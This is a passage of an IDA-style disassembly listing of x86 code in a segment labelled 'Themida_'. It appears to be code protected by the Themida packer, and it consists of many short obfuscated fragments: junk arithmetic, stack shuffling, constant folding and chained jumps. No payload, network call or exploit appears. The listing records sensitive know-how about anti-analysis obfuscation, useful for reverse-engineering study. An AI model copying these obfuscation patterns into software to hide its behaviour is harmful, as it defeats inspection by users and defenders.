		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		jmp	loc_55B404
; ---------------------------------------------------------------------------


loc_5563E9:				; CODE XREF: Themida_:0055DB21j
		add	edi, 4
		push	46CBh
		mov	[esp], ebx
		push	esi
		push	0B4D616Bh
		jmp	loc_552BA9
; ---------------------------------------------------------------------------


loc_556402:				; CODE XREF: Themida_:00551D61j
		mov	bp, [esp]
		jmp	loc_558E9B
; ---------------------------------------------------------------------------


loc_55640B:				; CODE XREF: Themida_:005577E7j
		mov	edi, [esp]
		add	esp, 4
		push	12E6h
		mov	[esp], eax
		mov	eax, 4
		sub	edi, 25694091h
		jmp	loc_556ECA
; ---------------------------------------------------------------------------


loc_556429:				; CODE XREF: Themida_:00555DDBj
		add	ebx, edx
		pop	edx
		jmp	loc_55B2B5
; ---------------------------------------------------------------------------


loc_556431:				; CODE XREF: Themida_:00557DD2j
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5520BE
; ---------------------------------------------------------------------------


loc_55643F:				; CODE XREF: Themida_:00555311j
		mov	ebx, esi
		pop	esi
		sub	ebx, ecx
		pop	ecx
		mov	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_554B29
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_556453:				; CODE XREF: sub_55656B-14E5j
		pop	eax
		jmp	loc_55D6BC
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_556459:				; CODE XREF: Themida_:005537D9j
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		push	531h
		jmp	loc_55C39C
; ---------------------------------------------------------------------------


loc_55646A:				; CODE XREF: Themida_:00555799j
		push	51BBh
		jmp	loc_553705
; ---------------------------------------------------------------------------


loc_556474:				; CODE XREF: Themida_:00557BA7j
		mov	esp, [esp]
		jmp	loc_558CA6
; ---------------------------------------------------------------------------


loc_55647C:				; CODE XREF: Themida_:005599D0j
		mov	ebx, esp
		jmp	loc_55CAC1
; ---------------------------------------------------------------------------


loc_556483:				; CODE XREF: Themida_:005553F4j
		shl	ebp, 8
		jmp	loc_55B3DE
; ---------------------------------------------------------------------------


loc_55648B:				; CODE XREF: Themida_:005565CBj
		mov	edi, eax
		pop	eax
		sub	edx, edi
		jmp	loc_556BD6
; ---------------------------------------------------------------------------


loc_556495:				; CODE XREF: Themida_:0055873Aj
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_55C609
; ---------------------------------------------------------------------------


loc_5564A2:				; CODE XREF: Themida_:00558D7Dj
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55593B
; ---------------------------------------------------------------------------


loc_5564B1:				; CODE XREF: Themida_:0055CFFDj
		pop	dx
		not	dx
		xor	di, dx
		xor	dx, di
		jmp	loc_551F51
; ---------------------------------------------------------------------------


loc_5564C1:				; CODE XREF: Themida_:0055AC8Fj
		mov	ebp, esi
		pop	esi
		not	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	esi
		mov	esi, 7F105D37h
		push	ecx
		mov	ecx, 6DDA7576h
		sub	ecx, 28F9068Bh
		or	ecx, 689357FFh
		not	ecx
		add	ecx, 45F65D53h
		or	ecx, 3F674929h
		jmp	loc_5568F8
; ---------------------------------------------------------------------------


loc_556504:				; CODE XREF: Themida_:0055A129j
		mov	edx, 0B5B7B024h
		add	edx, edi
		pop	edi
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		jmp	loc_5523B5
; ---------------------------------------------------------------------------


loc_55651F:				; CODE XREF: Themida_:00552F0Aj
		push	edi
		mov	edi, 4AC336F1h
		neg	edi
		push	edi
		not	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_555B36
; ---------------------------------------------------------------------------


loc_556533:				; CODE XREF: Themida_:00558B16j
		pop	edx
		sub	al, 7Ch
		add	al, bl
		jmp	loc_55A588
; ---------------------------------------------------------------------------


loc_55653D:				; CODE XREF: Themida_:00559329j
		mov	ecx, 6AEA4297h
		jmp	loc_55A85D
; ---------------------------------------------------------------------------


loc_556547:				; CODE XREF: Themida_:00551EAFj
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55D012
; ---------------------------------------------------------------------------


loc_55655F:				; CODE XREF: Themida_:0055278Fj
		pop	edi
		add	edx, ebp
		mov	ebp, [esp]
		push	ebp
		jmp	loc_554D0D

; =============== S U B	R O U T	I N E =======================================



sub_55656B	proc near		; CODE XREF: Themida_:00552A77j
					; DATA XREF: sub_56207C+7BF9o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00551A0A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00551D8B SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005523A2 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055241A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005525F5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00553259 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055391F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055400D SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0055435B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00554C66 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00554E16 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00555081 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005552DD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00555EA4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005563A1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00556453 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00556766 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00556A78 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005576B6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005576C9 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00558005 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005585A1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055866C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00558911 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055949E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055AD65 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0055B32B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055C295 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055C2F6 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0055C5A8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055D6BC SIZE 00000008 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edi
		jmp	loc_5525F5
sub_55656B	endp

; ---------------------------------------------------------------------------


loc_55657F:				; CODE XREF: Themida_:0055539Fj
		mov	edx, 4D2B2B3Ah
		xor	ebp, edx
		jmp	loc_55DF6D
; ---------------------------------------------------------------------------


loc_55658B:				; CODE XREF: Themida_:00558CCAj
		push	ebp
		jmp	loc_55C61F
; ---------------------------------------------------------------------------


loc_556591:				; CODE XREF: Themida_:0055AEF4j
		mov	[esp], eax
		jmp	loc_55375B
; ---------------------------------------------------------------------------


loc_556599:				; CODE XREF: Themida_:00557500j
		sub	edx, 53F65F8Fh
		add	edx, edi
		add	edx, 53F65F8Fh
		jmp	loc_553D92
; ---------------------------------------------------------------------------


loc_5565AC:				; CODE XREF: Themida_:0055227Cj
		mov	ecx, esi
		pop	esi
		and	ecx, 40F7EA7h
		sub	ecx, 58276248h
		add	ecx, 581E0BA8h
		jmp	loc_5594D4
; ---------------------------------------------------------------------------


loc_5565C6:				; CODE XREF: Themida_:0055525Ej
		add	eax, 21B0C37Fh
		jmp	loc_55648B
; ---------------------------------------------------------------------------


loc_5565D0:				; CODE XREF: Themida_:0055D436j
		not	edx
		xchg	edx, ebx
		jmp	loc_556CDA
; ---------------------------------------------------------------------------


loc_5565D9:				; CODE XREF: Themida_:0055CCFEj
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_558689
; ---------------------------------------------------------------------------


loc_5565E6:				; CODE XREF: Themida_:0055399Dj
		pop	esi
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	0BE5h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		movsx	ecx, al
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55AC5E
; ---------------------------------------------------------------------------


loc_556621:				; CODE XREF: Themida_:00558AD4j
		push	65926CBDh
		pop	ecx
		inc	ecx
		add	ecx, 1CCA14F8h
		xor	ecx, 0A0C39825h
		add	esi, ecx
		pop	ecx
		sub	esi, 37F53E69h
		push	edi
		mov	edi, 23F503F5h
		shr	edi, 3
		jmp	loc_55DCF9
; ---------------------------------------------------------------------------


loc_55664B:				; CODE XREF: Themida_:00559384j
		add	edi, 2
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		imul	cl
		jmp	loc_556277
; ---------------------------------------------------------------------------


loc_556661:				; CODE XREF: Themida_:00552C73j
		push	ebx
		mov	bl, 0C5h
		push	1EE3h
		mov	[esp], eax
		mov	al, 4Fh
		jmp	loc_55A5FB
; ---------------------------------------------------------------------------


loc_556673:				; CODE XREF: Themida_:00552DA2j
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		movzx	ecx, al
		jmp	loc_55C154
; ---------------------------------------------------------------------------


loc_556687:				; CODE XREF: Themida_:0055A603j
		push	edi
		mov	edi, esp
		push	ebp
		jmp	loc_556F6E
; ---------------------------------------------------------------------------


loc_556690:				; CODE XREF: Themida_:00557D5Cj
		xor	ebx, edi
		jmp	loc_5592FE
; ---------------------------------------------------------------------------


loc_556697:				; CODE XREF: Themida_:00551CD9j
		inc	bl
		sub	bl, 8Ah
		add	al, bl
		pop	ebx
		sub	al, 0D3h
		sub	al, bl
		push	ebx
		mov	bl, 7Bh
		push	eax
		mov	al, 0ACh
		sub	al, 0C1h
		jmp	loc_55570D
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 6AE07349h
		add	edi, 951F8CBBh
		add	ecx, edi
		pop	edi
		jmp	loc_553E25
; ---------------------------------------------------------------------------


loc_5566CD:				; CODE XREF: Themida_:0055E04Ej
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 4
		sub	esi, edx
		pop	edx
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5555F3
; ---------------------------------------------------------------------------


loc_5566F6:				; CODE XREF: Themida_:00552C2Bj
		push	ebx
		push	ecx
		mov	ecx, 22663CA4h
		and	ecx, 14EC22D7h
		or	ecx, 7E9373CCh
		or	ecx, 2E9D5526h
		sub	ecx, 7EFF77EAh
		jmp	loc_554EA5
; ---------------------------------------------------------------------------


loc_55671A:				; CODE XREF: Themida_:00552DAAj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		jmp	loc_557AB0
; ---------------------------------------------------------------------------


loc_55672E:				; CODE XREF: Themida_:0055A14Ej
		add	al, bh
		pop	bx
		push	2AD9h
		mov	[esp], ecx
		mov	ch, 0C5h
		add	al, ch
		pop	ecx
		pop	ecx
		push	eax
		mov	ah, 0A7h
		push	edx
		mov	dh, 0A8h
		add	dh, 84h
		jmp	loc_55383E
; ---------------------------------------------------------------------------


loc_55674E:				; CODE XREF: Themida_:00559F32j
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_55B736
; ---------------------------------------------------------------------------


loc_55675E:				; CODE XREF: Themida_:005590E4j
		mov	ebp, [esp]
		jmp	loc_553D42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_556766:				; CODE XREF: sub_55656B+7154j
		pop	eax
		push	dx
		jmp	loc_55435B
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_55676E:				; CODE XREF: Themida_:00554B53j
		mov	edx, 4
		jmp	loc_553434
; ---------------------------------------------------------------------------


loc_556778:				; CODE XREF: Themida_:0055D583j
		mov	edi, 522965BEh
		jmp	loc_551DB4
; ---------------------------------------------------------------------------


loc_556782:				; CODE XREF: Themida_:0055A352j
		pop	esp
		or	edx, eax
		jmp	loc_5571D8
; ---------------------------------------------------------------------------


loc_55678A:				; CODE XREF: Themida_:0055C807j
		pop	ecx
		add	ebx, 4D5040C1h
		jmp	loc_55CD3F
; ---------------------------------------------------------------------------


loc_556796:				; CODE XREF: Themida_:0055C903j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_554499
; ---------------------------------------------------------------------------


loc_5567A6:				; CODE XREF: Themida_:00551A91j
		push	5DD60A0Eh
		jmp	loc_555251
; ---------------------------------------------------------------------------


loc_5567B0:				; CODE XREF: Themida_:00556F49j
		mov	[esp], edx
		mov	edx, 4B457EAFh
		push	edi
		mov	edi, 3B5D18DBh
		or	edx, edi
		pop	edi
		neg	edx
		add	edx, 5011405Ch
		add	ebp, edx
		pop	edx
		push	ecx
		mov	ecx, 24h
		add	ecx, 1C1D3ECBh
		add	ecx, 62FC6940h
		add	ecx, edi
		sub	ecx, 62FC6940h
		sub	ecx, 1C1D3ECBh
		add	[ecx], ebp
		pop	ecx
		jmp	loc_557D33
; ---------------------------------------------------------------------------


loc_5567F4:				; CODE XREF: Themida_:0055369Ej
		or	ebp, 64E07CE4h
		jmp	loc_55AFAD
; ---------------------------------------------------------------------------


loc_5567FF:				; CODE XREF: Themida_:005571D3j
		shr	edx, 5
		push	231Eh
		mov	[esp], edi
		push	ecx
		mov	ecx, 150950B7h
		mov	edi, ecx
		jmp	loc_558CCF
; ---------------------------------------------------------------------------


loc_556817:				; CODE XREF: Themida_:0055C45Bj
		push	eax
		mov	eax, 5D9A7E3Ch
		add	ebx, eax
		pop	eax
		jmp	loc_555D53
; ---------------------------------------------------------------------------


loc_556825:				; CODE XREF: Themida_:0055362Aj
		add	ebp, ebx
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		movsx	cx, al
		push	small 2E72h
		mov	[esp], cx
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_556845:				; CODE XREF: Themida_:00555992j
		add	ebp, esi
		mov	esi, [esp]
		jmp	loc_55DCAF
; ---------------------------------------------------------------------------


loc_55684F:				; CODE XREF: Themida_:005592F9j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		neg	ebx
		jmp	loc_55578A
; ---------------------------------------------------------------------------


loc_556869:				; CODE XREF: Themida_:00554DF5j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_551CFE
; ---------------------------------------------------------------------------


loc_556877:				; CODE XREF: Themida_:00559614j
		pop	ecx
		mov	eax, 0FA5C6DBh
		jmp	loc_5591EB
; ---------------------------------------------------------------------------


loc_556882:				; CODE XREF: Themida_:00558E14j
		sub	dx, 0FEB9h
		add	ax, dx
		pop	edx
		sub	ax, 72E5h
		sub	ax, 1480h
		jmp	loc_551C9C
; ---------------------------------------------------------------------------


loc_556898:				; CODE XREF: Themida_:005581DAj
		sub	ebp, 29663925h
		add	ebp, 2F957CDCh
		or	ebp, 72D726F6h
		dec	ebp
		push	esi
		mov	esi, 30984956h
		add	esi, 11CB04DCh
		xor	ebp, esi
		pop	esi
		xor	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	ecx, edi
		pop	edi
		mov	ebx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 71EF7C6Ch
		jmp	loc_5544A1
; ---------------------------------------------------------------------------


loc_5568DB:				; CODE XREF: Themida_:0055B08Ej
		add	eax, [edx]
		push	dword ptr [esp]
		jmp	loc_55693F
; ---------------------------------------------------------------------------


loc_5568E5:				; CODE XREF: Themida_:00557C47j
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_55C5D6
; ---------------------------------------------------------------------------


loc_5568F0:				; CODE XREF: Themida_:0055A62Bj
		not	ebp
		inc	ebp
		jmp	loc_553AD2
; ---------------------------------------------------------------------------


loc_5568F8:				; CODE XREF: Themida_:005564FFj
		add	ecx, 280F8695h
		jmp	loc_5578EA
; ---------------------------------------------------------------------------


loc_556903:				; CODE XREF: Themida_:00552B39j
		push	dword ptr [esp]
		jmp	loc_55CD27
; ---------------------------------------------------------------------------


loc_55690B:				; CODE XREF: Themida_:00551FFBj
		mov	edi, esp
		push	1D6Eh
		mov	[esp], ecx
		push	2E3Ch
		mov	[esp], edi
		mov	edi, 1A3F65B3h
		jmp	loc_551DAD
; ---------------------------------------------------------------------------


loc_556927:				; CODE XREF: Themida_:0055CABCj
		bts	[esp], ax
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_556932:				; CODE XREF: Themida_:00557B35j
		mov	[edx], bh
		jmp	loc_554528
; ---------------------------------------------------------------------------


loc_556939:				; CODE XREF: Themida_:00555BA1j
		push	edi
		jmp	loc_552326
; ---------------------------------------------------------------------------


loc_55693F:				; CODE XREF: Themida_:005568E0j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5579AD
; ---------------------------------------------------------------------------


loc_556948:				; CODE XREF: Themida_:005539C9j
		and	ecx, 4DE5F60h
		not	ecx
		sub	ecx, 0BC759C12h
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	eax, ebx
		jmp	loc_55D511
; ---------------------------------------------------------------------------


loc_556968:				; CODE XREF: Themida_:005550F1j
		push	edx
		mov	edx, 2D933EC1h
		not	edx
		xor	edx, 652B114Fh
		and	edx, 32077055h
		jmp	loc_55CA15
; ---------------------------------------------------------------------------


loc_556981:				; CODE XREF: Themida_:005575D6j
		mov	[esp], eax
		mov	eax, 24h
		push	5F7Bh
		mov	[esp], edi
		mov	edi, 220B32B1h
		sub	esi, edi
		pop	edi
		add	esi, eax
		jmp	loc_559274
; ---------------------------------------------------------------------------


loc_5569A0:				; CODE XREF: Themida_:005584B0j
		sub	ecx, 171C2C4h
		add	edx, ecx
		jmp	loc_5585AB
; ---------------------------------------------------------------------------


loc_5569AD:				; CODE XREF: Themida_:005577EEj
		sub	al, 8Bh
		pop	cx
		jmp	loc_5553D9
; ---------------------------------------------------------------------------


loc_5569B6:				; CODE XREF: Themida_:0055709Fj
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_55C410
; ---------------------------------------------------------------------------


loc_5569D0:				; CODE XREF: Themida_:00557D2Ej
		push	esi
		mov	esi, 451C389Ah
		push	ebp
		push	4297464h
		mov	ebp, [esp]
		add	esp, 4
		or	ebp, 106F6EDCh
		inc	ebp
		or	ebp, 18605CC7h
		jmp	loc_5559D4
; ---------------------------------------------------------------------------


loc_5569F4:				; CODE XREF: Themida_:0055C935j
		mov	ch, ah
		pop	eax
		push	edx
		mov	dh, 8Bh
		and	dh, 8Ch
		shl	dh, 6
		and	dh, 57h
		sub	dh, 1
		inc	dh
		xor	dh, 7Fh
		add	al, dh
		jmp	loc_55318C
; ---------------------------------------------------------------------------


loc_556A12:				; CODE XREF: Themida_:0055714Bj
		shr	ecx, 5
		push	edi
		mov	edi, 6FB873C3h
		push	esi
		mov	esi, 0FCD677DCh
		jmp	loc_556CFD
; ---------------------------------------------------------------------------


loc_556A26:				; CODE XREF: Themida_:0055575Ej
		push	esp
		pop	dword ptr [esp]
		push	ebp
		mov	ebp, 4
		jmp	loc_55777C
; ---------------------------------------------------------------------------


loc_556A35:				; CODE XREF: Themida_:0055C6FEj
		pop	ebx
		inc	edx
		jmp	loc_559C4C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_556A4B:				; CODE XREF: Themida_:00557B62j
		xor	esi, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, 1FD808F5h
		jmp	loc_55B58D
; ---------------------------------------------------------------------------


loc_556A5C:				; CODE XREF: Themida_:00554774j
		mov	edi, esp
		push	45F9h
		mov	[esp], ecx
		mov	ecx, 4
		add	edi, ecx
		jmp	loc_55AA1C
; ---------------------------------------------------------------------------


loc_556A72:				; CODE XREF: Themida_:00559837j
		push	ecx
		jmp	loc_553F4D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_556A78:				; CODE XREF: sub_55656B-4B52j
		mov	ch, 0E8h
		mov	bh, 0E9h
		add	bh, ch
		pop	ecx
		mov	dl, 25h
		add	dl, bh
		push	[esp+8+var_8]
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		add	esp, 4
		add	al, dl
		mov	dx, word ptr [esp+4+var_4]
		sub	esp, 4
		mov	[esp+8+var_8], eax
		push	esp
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_553259
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		push	esp
		mov	ebx, [esp]
		jmp	loc_555F37
; ---------------------------------------------------------------------------


loc_556ABA:				; CODE XREF: Themida_:00558DABj
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		push	eax
		mov	eax, 6E203FF1h
		neg	eax
		inc	eax
		not	eax
		push	ebp
		mov	ebp, 39E01062h
		add	ebp, 34402F89h
		jmp	loc_55312D
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		push	edi
		jmp	loc_55ABDA
; ---------------------------------------------------------------------------


loc_556AF0:				; CODE XREF: Themida_:0055C800j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_558F37
; ---------------------------------------------------------------------------


loc_556AF9:				; CODE XREF: Themida_:0055B1DEj
		xchg	ecx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_553F8F
		push	10A8h
		jmp	loc_554CEF
; ---------------------------------------------------------------------------


loc_556B0F:				; CODE XREF: Themida_:00557006j
		push	edx
		mov	edx, 7675217Eh
		jmp	loc_55B606
; ---------------------------------------------------------------------------


loc_556B1A:				; CODE XREF: Themida_:0055B148j
		push	ecx
		push	edx
		mov	edx, 572968E0h
		jmp	loc_55BF52
; ---------------------------------------------------------------------------


loc_556B26:				; CODE XREF: Themida_:00559463j
		xchg	edx, [esp]
		jmp	loc_55D916
; ---------------------------------------------------------------------------


loc_556B2E:				; CODE XREF: Themida_:005596F4j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55A459
; ---------------------------------------------------------------------------


loc_556B3A:				; CODE XREF: Themida_:00551D18j
		sub	esp, 4
		mov	[esp], eax
		push	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_559F72
; ---------------------------------------------------------------------------


loc_556B50:				; CODE XREF: Themida_:00554AA4j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		jmp	loc_5535EA
; ---------------------------------------------------------------------------


loc_556B65:				; CODE XREF: Themida_:0055D371j
		add	ebx, eax
		pop	eax
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_55A3ED
; ---------------------------------------------------------------------------


loc_556B76:				; CODE XREF: Themida_:005555F7j
		mov	esi, 308B29E1h
		mov	edx, 308B29E5h
		xor	edx, esi
		pop	esi
		jmp	loc_55D6D5
; ---------------------------------------------------------------------------


loc_556B88:				; CODE XREF: Themida_:00553B12j
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_556B8D:				; CODE XREF: Themida_:0055C377j
		add	edx, 3A593C07h
		add	edx, 3DAB72F4h
		add	edx, 2F346D73h
		jmp	loc_5562F4
; ---------------------------------------------------------------------------


loc_556BA4:				; CODE XREF: Themida_:00556C45j
		sub	edi, 185709EEh
		xor	edi, 280754A1h
		sub	ebp, edi
		pop	edi
		sub	ebx, ebp
		jmp	loc_55C487
; ---------------------------------------------------------------------------


loc_556BBA:				; CODE XREF: Themida_:0055DC80j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		sub	[esp], eax
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_556BCD:				; CODE XREF: Themida_:00555519j
		pop	esi
		push	ebx
		mov	ebx, esp
		jmp	loc_552ACD
; ---------------------------------------------------------------------------


loc_556BD6:				; CODE XREF: Themida_:00556490j
		pop	edi
		sub	edx, 4CF15C74h
		sub	edx, eax
		add	edx, 4CF15C74h
		jmp	loc_5561CE
; ---------------------------------------------------------------------------


loc_556BEA:				; CODE XREF: Themida_:0055200Ej
		pop	esp
		push	edi
		mov	edi, 4E6F6269h
		or	edi, 2FFB66CDh
		jmp	loc_558A35
; ---------------------------------------------------------------------------


loc_556BFC:				; CODE XREF: Themida_:0055ACD9j
		pop	ebx
		mov	edi, edx
		pop	edx
		or	esi, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		push	eax
		jmp	loc_552353
; ---------------------------------------------------------------------------


loc_556C0E:				; CODE XREF: Themida_:0055B43Fj
		add	dword ptr [esp], 4
		pop	ebp
		push	2256h
		jmp	loc_5548E6
; ---------------------------------------------------------------------------


loc_556C20:				; CODE XREF: Themida_:0055CC01j
		sub	ebx, 5C0D0C6Ch
		pop	edx
		push	ebp
		mov	ebp, 513750A0h
		and	ebp, 28C732FEh
		xor	ebp, 15E51886h
		add	ebp, 5A386FB4h
		push	edi
		mov	edi, 70742D67h
		jmp	loc_556BA4
; ---------------------------------------------------------------------------


loc_556C4A:				; CODE XREF: Themida_:00554F52j
		not	edx
		neg	edx
		jmp	loc_55A028
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	2F3Eh
		jmp	loc_5595B5
; ---------------------------------------------------------------------------


loc_556C61:				; CODE XREF: Themida_:0055B35Fj
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	edi
		mov	edi, 55F511Bh
		sub	edi, 5D551217h
		or	edi, 0FAE6DE7h
		jmp	loc_55BA2D
; ---------------------------------------------------------------------------


loc_556C7D:				; CODE XREF: Themida_:00557A82j
		dec	ebp
		push	eax
		mov	eax, 51665F8Ah
		xor	eax, 48D4045h
		shl	eax, 7
		shl	eax, 7
		neg	eax
		xor	eax, 6C0D4003h
		jmp	loc_559351
; ---------------------------------------------------------------------------


loc_556C9B:				; CODE XREF: Themida_:00552EA2j
		xor	ebp, 0E59298h
		add	edx, ebp
		pop	ebp
		push	ecx
		push	ebx
		jmp	loc_5533F4
; ---------------------------------------------------------------------------


loc_556CAB:				; CODE XREF: Themida_:0055C26Dj
		mov	ebx, 4DDA768Bh
		sub	ebx, ecx
		pop	ecx
		jmp	loc_551EC9
; ---------------------------------------------------------------------------


loc_556CB8:				; CODE XREF: Themida_:0055D482j
		or	esi, 626C59BBh
		neg	esi
		xor	esi, 3A000591h
		push	0CE1h
		mov	[esp], eax
		mov	eax, 7B0280E0h
		sub	esi, eax
		jmp	loc_551CB0
; ---------------------------------------------------------------------------


loc_556CDA:				; CODE XREF: Themida_:005565D4j
		push	ebx
		mov	ebx, esp
		jmp	loc_555AF6
; ---------------------------------------------------------------------------


loc_556CE2:				; CODE XREF: Themida_:0055797Cj
		not	ebx
		jmp	loc_55C22C
; ---------------------------------------------------------------------------


loc_556CE9:				; CODE XREF: Themida_:0055D7DAj
		pop	edi
		push	edx
		jmp	loc_55DF3C
; ---------------------------------------------------------------------------


loc_556CF0:				; CODE XREF: Themida_:00554E5Cj
		shr	ecx, 6
		push	0AADh
		jmp	loc_553946
; ---------------------------------------------------------------------------


loc_556CFD:				; CODE XREF: Themida_:00556A21j
		sub	edi, 5EB11B9Ch
		jmp	loc_5532F8
; ---------------------------------------------------------------------------


loc_556D08:				; CODE XREF: Themida_:0055814Cj
		push	esi
		push	0E136321h
		pop	esi
		jmp	loc_55C059
; ---------------------------------------------------------------------------


loc_556D14:				; CODE XREF: Themida_:0055CE98j
		inc	edi
		add	edi, 0CA6682A1h
		sub	eax, edi
		jmp	loc_553ECD
; ---------------------------------------------------------------------------
		push	edx
		jmp	loc_55B9DA
; ---------------------------------------------------------------------------


loc_556D28:				; CODE XREF: Themida_:005590A9j
		push	307Dh
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		jmp	loc_55BE32
; ---------------------------------------------------------------------------
		lodsd
		push	edx
		push	esi
		mov	esi, 345865ADh
		mov	edx, esi
		pop	esi
		shl	edx, 7
		inc	edx
		sub	edx, 4D743CF3h
		xor	edx, 0DF60A883h
		add	eax, edx
		pop	edx
		add	eax, 56E11406h
		add	eax, ebx
		jmp	loc_557914
; ---------------------------------------------------------------------------


loc_556D6F:				; CODE XREF: Themida_:0055741Bj
		mov	eax, 2
		push	ebx
		jmp	loc_55AE38
; ---------------------------------------------------------------------------


